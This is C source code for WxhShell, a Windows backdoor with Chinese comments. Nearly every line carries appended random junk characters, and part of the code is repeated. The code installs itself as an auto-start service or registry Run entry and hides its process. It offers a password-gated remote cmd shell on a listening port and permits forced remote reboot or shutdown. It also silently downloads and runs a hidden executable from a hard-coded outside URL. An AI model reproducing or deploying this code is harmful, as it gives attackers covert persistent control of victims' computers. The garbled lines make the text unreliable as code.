    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }fR,5|~X  
    if(Boot(SHUTDOWN)) nZy X_J,Vd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sC"}8+[)S3  
    else { `^9(Ot $  
    closesocket(wsh); Bi3+)k>u7  
    ExitThread(0); Pw0Ci  
    } ?=;qK{)37  
    break; ^Q+i=y{W  
    } m~#%Q?_ %  
  // 获取shell &o3K%M;C?  
  case 's': { BxK^?b[E8  
    CmdShell(wsh); :-`7Q\c}  
    closesocket(wsh); r\`+R"  
    ExitThread(0); Jb["4X;h  
    break; <?Wti_ /M  
  } q2rUbU_A(  
  // 退出 x]|+\1  
  case 'x': { m~hoE8C$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TBrGA E  
    CloseIt(wsh); }MbH3ufC  
    break; U`|0 jJ  
    } v%{.A)  
  // 离开 %wptZ"2M  
  case 'q': { k0-G$|QgIp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ra N)8w}-  
    closesocket(wsh); qmy%J  
    WSACleanup(); 1xE]6he4{T  
    exit(1); Mg,:UC:  
    break; +;}#B~:  
        } #-% A[7Cdp  
  } JPn$FQD  
  } k>jbcSY(z<  
_ee dBpV  
  // 提示信息 $_H`   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 1a. #o  
} CSPKP#,B0[  
  } `#-P[q<v-  
sbj(|1,ac  
  return; 2F#q I1  
} bI.t <;  
^D`v3d  
// shell模块句柄 W1B)]IHc  
int CmdShell(SOCKET sock) KOz(TZ?u  
{ 8X|r4otn4  
STARTUPINFO si; vIl+#9L0  
ZeroMemory(&si,sizeof(si)); so$(_W3E,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1?*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !\8  ;d8  
PROCESS_INFORMATION ProcessInfo; *=V7@o  
char cmdline[]="cmd"; *'Y@3vKE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m!z|h9Ed  
  return 0; UO*Ymj 1  
} jn >d*9u  
^.k |SK`U  
// 自身启动模式 BBG3OAyg_  
int StartFromService(void) #GDe0 8rOw  
{ ,#d? _?/:O  
typedef struct ~=<}\a~  
{ rNjn~c  
  DWORD ExitStatus; r;L>.wl*I  
  DWORD PebBaseAddress; ^EG\iO2X  
  DWORD AffinityMask; 7@lS.w\#-  
  DWORD BasePriority; 3kcTE&1^  
  ULONG UniqueProcessId; /&F,V+x  
  ULONG InheritedFromUniqueProcessId; W>VP'vn}  
}   PROCESS_BASIC_INFORMATION; :1XtvH  
/xGmg`g<#  
PROCNTQSIP NtQueryInformationProcess; ~c)~015`  
^<e@uNGg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mC?i}+4>4R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'TH15r@  
6hZ@;Q=b  
  HANDLE             hProcess; G7--v,R1x  
  PROCESS_BASIC_INFORMATION pbi; ZCKka0*  
bl_H4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cLPkK3O\=  
  if(NULL == hInst ) return 0; K7Rpr.p  
>9RD_QG7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )ZrS{vY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^Q*atU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xc"&0v%;#  
[aI]y =v  
  if (!NtQueryInformationProcess) return 0; s&\I=J.  
B+^(ktZp@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \AL f$88>@  
  if(!hProcess) return 0; h~{aGo  
N]KxAttt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OGl$W>w1  
'13ZX:  
  CloseHandle(hProcess); ) ri}nL.  
V=fEPM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <mi-}s  
if(hProcess==NULL) return 0; S= _vv)6+4  
2z\zh[(w  
HMODULE hMod; \U|ZR  
char procName[255]; 3}|'0(hYL  
unsigned long cbNeeded; Og=*R6i  
z1^gDjkZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8 k3S  
'* \|; l#1  
  CloseHandle(hProcess); K\XH4kic  
s w39\urf  
if(strstr(procName,"services")) return 1; // 以服务启动 >``MR%E:<  
~QvqG{bFB  
  return 0; // 注册表启动 h?bb/T+'  
} p-1 3H0Kt  
/mp*>sNr6  
// 主模块 8,0YD#x  
int StartWxhshell(LPSTR lpCmdLine) oB74y  
{ DjSbyXvrg  
  SOCKET wsl; 'v]u#/7a  
BOOL val=TRUE; lA>DS#_  
  int port=0; f!O{%ev  
  struct sockaddr_in door; J'N!Omz  
sdQkT#%y  
  if(wscfg.ws_autoins) Install(); ]4;PR("aU  
}$bF 5&  
port=atoi(lpCmdLine); r}uz7}z %"  
z25m_[p2  
if(port<=0) port=wscfg.ws_port; wywQ<n  
Vp>|hj po  
  WSADATA data; Oft4- 4$E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sP^R/z|Y  
[s&$l G!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hKzSgYxP=t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tv!_e$CR  
  door.sin_family = AF_INET; a'!zG cT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qt vYv!  
  door.sin_port = htons(port); 4)1s M=u  
+la2n(CAK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pv&y91  
closesocket(wsl); B<C*  
return 1; KiJT!moB  
} K_K5'2dE  
4lBU#V7  
  if(listen(wsl,2) == INVALID_SOCKET) { D@!=d@V.  
closesocket(wsl); wm+/e#'&  
return 1; `'V4PUe  
} EvOJ~'2 Y%  
  Wxhshell(wsl); J!:SPQ  
  WSACleanup(); eds26(  
4wrk2x[  
return 0; XoA+MuDzpo  
,=l7:n  
} }1>[  
2(/g}  
// 以NT服务方式启动 i+gQE!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3E 3HL7  
{ v%fu  
DWORD   status = 0; $V1;la!  
  DWORD   specificError = 0xfffffff; K~22\G`  
6 ND`l5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ei rzYt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4C FB"?n0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q'%PNrN  
  serviceStatus.dwWin32ExitCode     = 0; W3iZ|[E;  
  serviceStatus.dwServiceSpecificExitCode = 0; {'U Rz[g  
  serviceStatus.dwCheckPoint       = 0; :>+s0~  
  serviceStatus.dwWaitHint       = 0; b, :QT~g=  
`F/Tv 5@L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yz0zFfiX  
  if (hServiceStatusHandle==0) return; A<W 6=5h  
?2>FdtH  
status = GetLastError(); y.[Mnj  
  if (status!=NO_ERROR) 'Y]mOD^ p  
{ NMA}Q$o s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jAud {m*T  
    serviceStatus.dwCheckPoint       = 0; 9;veuX#(  
    serviceStatus.dwWaitHint       = 0; 1AU#%wIEP  
    serviceStatus.dwWin32ExitCode     = status; cq$i  
    serviceStatus.dwServiceSpecificExitCode = specificError; QcgfBsv96  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  |jM4E$  
    return; !ET~KL!  
  } [ :zO}r:  
)KP5Wud X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @r?Uua  
  serviceStatus.dwCheckPoint       = 0; e @IA20  
  serviceStatus.dwWaitHint       = 0; d 9q(xZ5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :H c0b=  
} 5|1 T}Z#;  
/tUy3myJ  
// 处理NT服务事件,比如:启动、停止 C*`mM'#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \|K;-pL  
{ ai{Sa U  
switch(fdwControl) a<@N-Exr  
{ ;$z$@@WC  
case SERVICE_CONTROL_STOP: P LueVz  
  serviceStatus.dwWin32ExitCode = 0; uV=Qp1~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lEV]4 t_H  
  serviceStatus.dwCheckPoint   = 0; 9 -rNw?7  
  serviceStatus.dwWaitHint     = 0; 0=K9`=5d0  
  { rta:f800z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hiUD]5Kp  
  } 0@EwM  
  return; qM.bF&&Go  
case SERVICE_CONTROL_PAUSE: 4T=u`3pD7l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kV3 8`s>+  
  break; N2w"R{)j\  
case SERVICE_CONTROL_CONTINUE: 0C>%LJ8r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5sb\r,kW  
  break; eQ&ZX3*}  
case SERVICE_CONTROL_INTERROGATE: . Z%{'CC  
  break; 8KRba4[  
}; f/V 2f].  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7P9=)$(EH  
} 1Uqu> '  
L@gWzC~?Q  
// 标准应用程序主函数 LU9A#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "70WUx(\t  
{ G8;w{-{m  
46 PoM  
// 获取操作系统版本 0A( +ZMd  
OsIsNt=GetOsVer(); =" g*\s?r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K#U<ib-v  
W]nSR RWco  
  // 从命令行安装 |<GDUwC_;  
  if(strpbrk(lpCmdLine,"iI")) Install(); VP6ZiQ|  
yUp,NfS]o  
  // 下载执行文件 |M+<m">E  
if(wscfg.ws_downexe) { rs~wv('  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ObiT-D?)g  
  WinExec(wscfg.ws_filenam,SW_HIDE); g]c6& Y,#  
} {\(L%\sV@  
?|39u{  
if(!OsIsNt) { 9[^gAR  
// 如果时win9x,隐藏进程并且设置为注册表启动 d,=r 9.  
HideProc(); `+uhy ,  
StartWxhshell(lpCmdLine); ma((2My'H  
} B:+6~&,-  
else xQ@^$_  
  if(StartFromService()) |JVk&8 ?8  
  // 以服务方式启动 FD8N"p  
  StartServiceCtrlDispatcher(DispatchTable); 1u6^z  
else _-#'j2  
  // 普通方式启动 ka3u&3"  
  StartWxhshell(lpCmdLine); vo#UtN:q  
+mp@b942*  
return 0; ph-ATJ"  
} ^Y iJV7  
%b"\bHH  
Mv6 -|O  
dS<C@(  
=========================================== $t6e2=7  
^/U|2'$'>E  
8f3vjK'  
m`FN IY  
Zib)P&  
/>9O R  
" lHhUC16>  
u,w:SM@*(  
#include <stdio.h> `4~H/'%QB  
#include <string.h> n;:rf7hGY  
#include <windows.h> )kkhJI*v  
#include <winsock2.h> wy}k1E'M  
#include <winsvc.h> %!PM&zV  
#include <urlmon.h> 9t#S= DP  
2!$gyu6bpG  
#pragma comment (lib, "Ws2_32.lib") 3fh8$A  
#pragma comment (lib, "urlmon.lib") &w1P\4?G  
mljh|[  
#define MAX_USER   100 // 最大客户端连接数 %,k] [V  
#define BUF_SOCK   200 // sock buffer ^)W[l!!<)  
#define KEY_BUFF   255 // 输入 buffer ()3O=!  
iX4Iu3  
#define REBOOT     0   // 重启  z~>pVs  
#define SHUTDOWN   1   // 关机 |K|h+fgG6*  
sn?]n~z  
#define DEF_PORT   5000 // 监听端口 _`pD`7:aI^  
H[='~%D  
#define REG_LEN     16   // 注册表键长度 [mPjP%{=@  
#define SVC_LEN     80   // NT服务名长度 @!8ZPiW<  
d:i;z9b@to  
// 从dll定义API 6O}`i>/6M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J|w)&bV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m:/ wG& !  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6l4mS~/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]| +<P-  
F<(i.o(  
// wxhshell配置信息 Z%x\~ )~  
struct WSCFG { ]hbyELs  
  int ws_port;         // 监听端口 ._+J_ts  
  char ws_passstr[REG_LEN]; // 口令 B0ndcB-  
  int ws_autoins;       // 安装标记, 1=yes 0=no QQV~?iW{~  
  char ws_regname[REG_LEN]; // 注册表键名 izx#3u$P  
  char ws_svcname[REG_LEN]; // 服务名 37RLE1Yf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "|HDGA5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T0]*{k(FR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]7/ b/J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @-&s: Qli  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7ek&[SJ>,/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MG{YrX)oi  
HX6Ma{vBk  
}; &zuG81F6  
KR%{a(V;7  
// default Wxhshell configuration '_$uW&{NI  
struct WSCFG wscfg={DEF_PORT, h)Ff2tX  
    "xuhuanlingzhe", jr3ti>,xV  
    1, w/IZDMBf|  
    "Wxhshell", Vo"RO$%ow*  
    "Wxhshell", ^'ryNa;"  
            "WxhShell Service", zrU{@z$l  
    "Wrsky Windows CmdShell Service", Usta0Ag  
    "Please Input Your Password: ", wW%4d  
  1,  *tAg*$  
  "http://www.wrsky.com/wxhshell.exe", gc?#pP  
  "Wxhshell.exe" 3dDX8M?  
    }; kn/Ao}J74z  
YXI'gn2b#  
// 消息定义模块 9,^_<O@Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y!T %cTK)a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }YHX-e<Yx]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lbuAE%  
char *msg_ws_ext="\n\rExit."; Y X_ gb/A  
char *msg_ws_end="\n\rQuit."; v$ub~Q6W  
char *msg_ws_boot="\n\rReboot..."; $/7pYl\n  
char *msg_ws_poff="\n\rShutdown..."; m-jHze`D3  
char *msg_ws_down="\n\rSave to "; E~AjK'Z  
D91e\|]  
char *msg_ws_err="\n\rErr!"; 3q?\r` a  
char *msg_ws_ok="\n\rOK!"; T]?n)L,2  
e0$=!QlPr  
char ExeFile[MAX_PATH]; rgOfNVyJG<  
int nUser = 0; STJJU]H  
HANDLE handles[MAX_USER]; 5j-]EJb  
int OsIsNt; HdLH2+|P;D  
<2nZ&M4/s{  
SERVICE_STATUS       serviceStatus; 2 6>ZW4Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U. @*`Fg  
''kS*3  
// 函数声明 Hp(D);0+)  
int Install(void); o^V(U~m]  
int Uninstall(void); LB.co4  
int DownloadFile(char *sURL, SOCKET wsh); "hQ_sgz[Z  
int Boot(int flag); g9Yz*Nee<  
void HideProc(void); f +hjC  
int GetOsVer(void); JXj8Br?Z@  
int Wxhshell(SOCKET wsl); "{D|@Bc  
void TalkWithClient(void *cs); h48SItY  
int CmdShell(SOCKET sock); >pr=|$zk=  
int StartFromService(void); 36n>jS&  
int StartWxhshell(LPSTR lpCmdLine); !L95^g   
Jx=hJ-FY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2mq$H_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AZ{^o4<q  
#"49fMi/  
// 数据结构和表定义 raQ7.7  
SERVICE_TABLE_ENTRY DispatchTable[] = E{2Eoj;gq  
{ 9RWkm%?  
{wscfg.ws_svcname, NTServiceMain}, -$,%f?  
{NULL, NULL} 3bNIZ#`|MB  
}; VG>vn`x>a  
Z,.G%"i3C  
// 自我安装 5~yNqC  
int Install(void) x[Wwq=~  
{ 7jJbo]&  
  char svExeFile[MAX_PATH]; ^`D=GF^tX  
  HKEY key; L.=w?%:H=  
  strcpy(svExeFile,ExeFile); u1c%T@w>Lz  
1HPx|nmE]  
// 如果是win9x系统,修改注册表设为自启动 tM#lFmdd\P  
if(!OsIsNt) { @;?T~^nGj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dHk{.n^p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GTJ{h  
  RegCloseKey(key); e9E\% p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w%zRHf8C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A4QcQ"  
  RegCloseKey(key); W8g' lqc|  
  return 0; h},oF!,  
    } p\ Lq}tk<  
  } {W\T"7H  
} c )7j QA  
else { :h1pBEiH  
zW8*EE+,  
// 如果是NT以上系统,安装为系统服务 d` Sr4c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v0Ir#B,[H  
if (schSCManager!=0) ]p!Gt,rYq  
{ -TV?E%r  
  SC_HANDLE schService = CreateService i7LJ&g/)  
  ( cUO<.  
  schSCManager, {ccIxL /~  
  wscfg.ws_svcname, 7_# 1Ec|;  
  wscfg.ws_svcdisp, 4c+$%pq5  
  SERVICE_ALL_ACCESS, ^W7X(LQ*+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =\{\g7  
  SERVICE_AUTO_START, Y\=FLO9  
  SERVICE_ERROR_NORMAL, 6yy;JQAke  
  svExeFile, } 17.~  
  NULL, $M:3XAN  
  NULL, Em7 WDu0  
  NULL, J# kl 7  
  NULL, RL[E X5U  
  NULL .O0O-VD+a  
  ); 9GdB#k6W`  
  if (schService!=0) 3u33a"nL8  
  { 7}_!  
  CloseServiceHandle(schService); Y $-3v.  
  CloseServiceHandle(schSCManager); 9,]5v +  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?tg  y|  
  strcat(svExeFile,wscfg.ws_svcname); `O6:t\d@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \VSATL:]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >b.^kc  
  RegCloseKey(key); /b;K  
  return 0; 4eH.9t  
    } ai*b:Q  
  } Z"s|]K "  
  CloseServiceHandle(schSCManager); nmjm<Bu  
} 8I,QD` xu  
} (3dPLp:K  
dr q hQ  
return 1;  d^|0R  
} \ /|)HElKR  
Yct5V,X^  
// 自我卸载 0qFH s  
int Uninstall(void) MEiRj]t  
{ |3? 8)z\n  
  HKEY key; B%\gkl  
5HS~op2n/  
if(!OsIsNt) { q*)+K9LRk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OJ4SbI  
  RegDeleteValue(key,wscfg.ws_regname); Wn|&cG9  
  RegCloseKey(key); xdy^ ^3"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5y4u5Tm-%  
  RegDeleteValue(key,wscfg.ws_regname); y/c%+ Ca/  
  RegCloseKey(key); kWj \x|E  
  return 0; ,572n[-q  
  } 5f:DN\ ]  
} XUV!C 7  
} i.1U|Pi  
else { uENdI2EY8y  
M*pRv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =22ALlxk  
if (schSCManager!=0) A 699FQ  
{ nF)uTk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [XlB<P=|>  
  if (schService!=0) "'Z- UV  
  { [*m2  
  if(DeleteService(schService)!=0) { 1f (DU4h  
  CloseServiceHandle(schService); k6\^p;!Y  
  CloseServiceHandle(schSCManager); C+N F9N  
  return 0; {w^uWR4f  
  } 8X&Ya =  
  CloseServiceHandle(schService); "?.~/@  
  } uM(UO,X  
  CloseServiceHandle(schSCManager); %"A_!<n@*`  
} [{&jr]w`|  
} q\9d6u=Gm  
~9$X3.+  
return 1; o'%e I  
} } PeZO!K  
1q.(69M  
// 从指定url下载文件 p D=w >"  
int DownloadFile(char *sURL, SOCKET wsh) tu%[p 4   
{ ]qw0V   
  HRESULT hr; ?HR%bn gK  
char seps[]= "/"; X21dX`eMN  
char *token; 84&XW  
char *file; gH:ArfC  
char myURL[MAX_PATH]; Wf>^bFb"$  
char myFILE[MAX_PATH]; t0m*PJcF  
W$?e<@  
strcpy(myURL,sURL); 'qv;sB.  
  token=strtok(myURL,seps); k<4P6?  
  while(token!=NULL) ^O%9yEo  
  { kB\kpW  
    file=token; $(HjI \%l^  
  token=strtok(NULL,seps); ?$%%Mp(  
  } 3 EYiQ`  
gX} g  
GetCurrentDirectory(MAX_PATH,myFILE); 5^)_B;.f  
strcat(myFILE, "\\"); rj  H`  
strcat(myFILE, file); So4nJ><p  
  send(wsh,myFILE,strlen(myFILE),0); s'_,:R\VM>  
send(wsh,"...",3,0); ms~8QL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )fh0&Y; R  
  if(hr==S_OK) et$uP  
return 0; qSiWnN8D t  
else H}b\`N[nr  
return 1; -fIc4u[  
w}<^l  
} NW.XA! =E)  
CB*/ =Y  
// 系统电源模块 hG Apuy  
int Boot(int flag) g*-2* \  
{ N\R=cwk  
  HANDLE hToken; Rrqg[F+  
  TOKEN_PRIVILEGES tkp; u.6P-yh  
u3ds QU  
  if(OsIsNt) { .2X2b<%)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,8 6K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /)V4k:#b  
    tkp.PrivilegeCount = 1; fA8ozL T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WD?Jk9_F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T{ -2fp8r[  
if(flag==REBOOT) { 3eg5oAZ)G8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ^Omfe  
  return 0; |f NMs  
} |Cf mcz(56  
else { =,Ttw>   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -i_En^Fi  
  return 0; ~b8a^6:R"  
} ]C *10S`  
  } AQ@v>wr}  
  else { NJ$e6$g)  
if(flag==REBOOT) { %D^bah f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &`@M8-m#F  
  return 0; /4C`k=>  
} iVeQ]k(u  
else { ="B n=>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f9'] jJ+  
  return 0; 6q%ed UED  
} oBw}hH,hp  
} n>llSK  
+"L$ed(=nJ  
return 1; "=A|K~b  
} Vj!WaN_  
0$2={s4ze  
// win9x进程隐藏模块 K/Jk[29"\  
void HideProc(void) .Z5[_'T  
{ $Sb@zLi)  
;c)! @GoA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;E's4jWq  
  if ( hKernel != NULL ) _0]QS4a][c  
  { uL>:tb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eycV@|6u*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jYdV?B  
    FreeLibrary(hKernel); 8vJdf9pB*  
  } m"-G6BKS  
:r39wFi  
return; I*c;hfu  
} }jcIDiSu  
Opry`}5h  
// 获取操作系统版本 CZfE |T~  
int GetOsVer(void) b"P&+c  
{ `Qq/ F]  
  OSVERSIONINFO winfo; s]bPV,"p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AP ;*iyQ[  
  GetVersionEx(&winfo); ~R{8.!: >  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NUu;tjt:  
  return 1; k5s?lWH  
  else Nu+wL>t  
  return 0; irmwc'n]  
} cUC17z2D  
L?.7\a@  
// 客户端句柄模块 _3U|2(E  
int Wxhshell(SOCKET wsl) l4Y1(  
{ >p |yf. G  
  SOCKET wsh; xSOoIsL[  
  struct sockaddr_in client; 2H>aC wfX  
  DWORD myID; H%~Q?4  
u#VweXyU  
  while(nUser<MAX_USER) 8GW ut=D  
{ SW=aHM  
  int nSize=sizeof(client); 1t%<5O;R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  wQw-:f-  
  if(wsh==INVALID_SOCKET) return 1; 7*g(@d  
?.j,Bq5At  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CLktNR(45  
if(handles[nUser]==0) ?w8p LE~E  
  closesocket(wsh); um}N%5GAa  
else 4 4<v9uSK  
  nUser++; UU"d_~pp  
  } =N;$0 Y(g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); neIy~H_#!  
1:YAn  
  return 0; hy=u}^F.C  
} 8L{$v~+  
%Il;B~t  
// 关闭 socket tgfM:kzw  
void CloseIt(SOCKET wsh) {a@hRY_  
{ &]*|6cR$E  
closesocket(wsh); aa!a&L|!  
nUser--; }JH`' &3  
ExitThread(0); Hz5;Ruw'  
} sM0c#YK?  
Kv1vx*>  
// 客户端请求句柄 WRY~fM  
void TalkWithClient(void *cs) F*X%N_n  
{ w. vY(s  
G ;jF9i  
  SOCKET wsh=(SOCKET)cs; rBS2>?  
  char pwd[SVC_LEN]; ] 'E}   
  char cmd[KEY_BUFF]; 9yDFHz w  
char chr[1]; p/4S$ j#Tn  
int i,j; ,?fN#gc :  
Q+HZ?V(  
  while (nUser < MAX_USER) { @F~0p5I  
pNBa.4z:  
if(wscfg.ws_passstr) { dJaEoF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wYa0hNd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QWKs[yfdo  
  //ZeroMemory(pwd,KEY_BUFF); )I?RMR  
      i=0; y 'mlee  
  while(i<SVC_LEN) { #,)P N @P  
3^'#ny?l  
  // 设置超时 GU5W|bS  
  fd_set FdRead; 6,a%&1_  
  struct timeval TimeOut; 4 ;^g MI9  
  FD_ZERO(&FdRead); B6(h7~0(<  
  FD_SET(wsh,&FdRead); v<%]XHN  
  TimeOut.tv_sec=8; XEa~)i{O  
  TimeOut.tv_usec=0; \N4d_ fPj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v^;-@ddr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CN-4-  
::0aY ;D2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8~}s 3j4  
  pwd=chr[0]; H 'D#s;SlR  
  if(chr[0]==0xd || chr[0]==0xa) { "h QV9 [2\  
  pwd=0; yW[L,N7d  
  break; KQ-,W8Q5  
  } (K<Z=a  
  i++; Tln9q0"W  
    } w< v1 N  
3.B4(9:>,  
  // 如果是非法用户,关闭 socket ]v<d0" 2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CGCQa0  
} U2VV[e)Z!  
B<(Pd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); omNpE_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vuAQm}A4'g  
q"P5,:W  
while(1) { _s2m-jm7  
{ ( _B  
  ZeroMemory(cmd,KEY_BUFF); H\ {E%7^h-  
~:2&/MOP?  
      // 自动支持客户端 telnet标准   C{DlcZ<  
  j=0; +SO2M|ru&  
  while(j<KEY_BUFF) { vU?b"n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ng?apaIi@~  
  cmd[j]=chr[0]; u,:CJ[3  
  if(chr[0]==0xa || chr[0]==0xd) { j l}!T[5  
  cmd[j]=0; Fecx';_1`  
  break; mx:J>SPA8  
  } 8e]z6:}'E  
  j++; >0kmRVd  
    } Czq1 kz  
xX[?L9RGz  
  // 下载文件 <Z2(qZ^Z  
  if(strstr(cmd,"http://")) { F\o;t:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '.=Wk^,Ua  
  if(DownloadFile(cmd,wsh)) I93 ~8wQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W^5<XX,ON  
  else X\o/i\ C}  
